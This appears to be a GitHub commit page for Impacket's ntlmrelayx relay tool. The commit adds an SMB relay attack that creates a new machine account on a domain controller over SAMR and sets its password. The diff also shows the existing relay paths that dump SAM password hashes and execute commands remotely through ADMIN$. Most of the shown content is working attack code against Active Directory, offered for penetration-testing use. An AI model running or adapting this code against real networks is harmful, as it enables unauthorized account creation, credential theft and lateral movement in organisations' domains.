Skip to content

Commit

Permalink
Adds the creation of a new machine account through SMB via ntlmrelayx (
Browse files Browse the repository at this point in the history
…#1290)

* Adds the ability to create a new machine account through SMB via ntlmrelayx.

* Update smbattack.py

Delete the '.' at the end of the password printing to limit user confusion. And change a comment to match @jogatu explain.

* Update computer name and password specification, and target

* Update impacket/examples/ntlmrelayx/attacks/smbattack.py

Co-authored-by: leandro <[email protected]>

* Remove the connectSamr2(), move the exception handles to samr library, remove the re import

* Common option to add computer via SMB or LDAP

---------

Co-authored-by: BlWasp <[email protected]>
Co-authored-by: leandro <[email protected]>
  • Loading branch information
3 people authored Mar 4, 2024
1 parent fa59178 commit 522daa2
Show file tree
Hide file tree
Showing 6 changed files with 144 additions and 63 deletions.
11 changes: 1 addition & 10 deletions examples/addcomputer.py
Original file line number Diff line number Diff line change
Expand Up @@ -479,16 +479,7 @@ def doSAMRAdd(self, rpctransport):
else:
raise

try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
elif e.error_code == 0xc00002e7:
raise Exception("User %s machine quota exceeded!" % self.__username)
else:
raise

createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
userHandle = createUser['UserHandle']

if self.__delete:
Expand Down
12 changes: 10 additions & 2 deletions examples/ntlmrelayx.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -181,6 +181,7 @@ def start_servers(options, threads):
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
c.setAddComputerSMB(options.add_computer)
c.setDisableMulti(options.no_multirelay)
c.setEncoding(codec)
c.setMode(mode)
Expand Down Expand Up @@ -326,7 +327,7 @@ def stop_servers(threads):
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')

#RPC arguments
rpcoptions = parser.add_argument_group("RPC client options")
rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported')
Expand Down Expand Up @@ -359,14 +360,18 @@ def stop_servers(threads):
ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account')
ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')
ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name')
ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')
ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the <NAME> record to DNS via LDAP pointing to <IPADDR>')

#Common options for SMB and LDAP
commonoptions = parser.add_argument_group("Common options for SMB and LDAP")
commonoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account via SMB or LDAP, depending on the specified target. '
'This argument can be used either with the LDAP or the SMB service, as long as the target is a domain controller.')

#IMAP options
imapoptions = parser.add_argument_group("IMAP client options")
imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
Expand Down Expand Up @@ -440,6 +445,9 @@ def stop_servers(threads):
else:
if options.tf is not None:
#Targetfile specified
if (options.add_computer):
logging.info("To add a machine account through SMB only the Domain Controller must be specified as target")
sys.exit(1)
logging.info("Running in relay mode to hosts in targetfile")
targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)
mode = 'RELAY'
Expand Down
13 changes: 12 additions & 1 deletion impacket/dcerpc/v5/samr.py
Original file line number Diff line number Diff line change
Expand Up @@ -2576,7 +2576,18 @@ def hSamrCreateUser2InDomain(dce, domainHandle, name, accountType=USER_NORMAL_AC
request['Name'] = name
request['AccountType'] = accountType
request['DesiredAccess'] = desiredAccess
return dce.request(request)
try:
return dce.request(request)
except DCERPCSessionError as e:
if e.error_code == 0xc0000022:
raise Exception("Relayed user doesn't have right to create a machine account!")
elif e.error_code == 0xc00002e7:
raise Exception("Relayed user machine quota exceeded!")
elif e.error_code == 0xc0000062:
raise Exception("Account name not accepted, maybe the '$' at the end is missing ?")
else:
raise e


def hSamrCreateUserInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS):
request = SamrCreateUserInDomain()
Expand Down
162 changes: 112 additions & 50 deletions impacket/examples/ntlmrelayx/attacks/smbattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,9 @@
from impacket.smbconnection import SMBConnection
from impacket.examples.smbclient import MiniImpacketShell
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import samr
import random
import string

PROTOCOL_ATTACK_CLASS = "SMBAttack"

Expand Down Expand Up @@ -65,55 +68,114 @@ def run(self):
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception as e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
if (self.config.addComputerSMB is not None):
from impacket.examples.secretsdump import RemoteOperations
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print(self.__answerTMP.decode(self.config.encoding, 'replace'))
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception as e:
LOG.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.connectSamr(remoteOps.getMachineNameAndDomain()[1])
except Exception as e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
LOG.info("SAMR access denied")
LOG.error(str(e))
return

LOG.info("Machine account addition via SMB")
try:
LOG.info("Target domain SID: " + remoteOps.getDomainSid())

if not self.config.addComputerSMB:
computerName = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
else:
computerName = self.config.addComputerSMB[0]

createUser = samr.hSamrCreateUser2InDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE)

# Account password setup. In the NTLM relay situation it is not possible to use 'hSamrSetPasswordInternal4New()' because an error for "STATUS_WRONG_PASSWORD" is raised
# For the moment, I'm not sure why this error is raised even with the "USER_FORCE_PASSWORD_CHANGE" access mask during a relay. Probably an encryption issue
# However, with 'hSamrChangePasswordUser()' it seems to work by specifying the "old HashNT" which is the default "blank" password hash
if (not self.config.addComputerSMB or len(self.config.addComputerSMB) < 2):
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
else:
newPassword = self.config.addComputerSMB[1]
try:
userHandle = createUser['UserHandle']
samr.hSamrChangePasswordUser(remoteOps.getSamr(), userHandle, oldPassword='', newPassword=newPassword, oldPwdHashNT="31d6cfe0d16ae931b73c59d7e0c089c0",
newPwdHashLM='', newPwdHashNT='')
except Exception as e:
LOG.error("Error with password setup:\n" + str(e))

# Still from addComputer.py
checkForUser = samr.hSamrLookupNamesInDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), [computerName])
userRID = checkForUser['RelativeIds']['Element'][0]
openUser = samr.hSamrOpenUser(remoteOps.getSamr(), remoteOps.getDomainHandle(), samr.MAXIMUM_ALLOWED, userRID)
userHandle = openUser['UserHandle']
req = samr.SAMPR_USER_INFO_BUFFER()
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(remoteOps.getSamr(), userHandle, req)
LOG.info("Successfully added machine account %s with password %s" % (computerName, newPassword))
except Exception as e:
LOG.error(str(e))

else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception as e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return

try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print(self.__answerTMP.decode(self.config.encoding, 'replace'))
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception as e:
LOG.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()

3 changes: 3 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -134,6 +134,9 @@ def setCommand(self, command):
def setEnumLocalAdmins(self, enumLocalAdmins):
self.enumLocalAdmins = enumLocalAdmins

def setAddComputerSMB(self, addComputerSMB):
self.addComputerSMB = addComputerSMB

def setDisableMulti(self, disableMulti):
self.disableMulti = disableMulti

Expand Down
6 changes: 6 additions & 0 deletions impacket/examples/secretsdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -523,6 +523,9 @@ def __connectDrds(self):
LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')

def getSamr(self):
return self.__samr

def getDrsr(self):
return self.__drsr

Expand Down Expand Up @@ -698,6 +701,9 @@ def getDomainSid(self):

return self.__domainSid

def getDomainHandle(self):
return self.__domainHandle

def getMachineKerberosSalt(self):
"""
Returns Kerberos salt for the current connection if
Expand Down

0 comments on commit 522daa2

Please sign in to comment.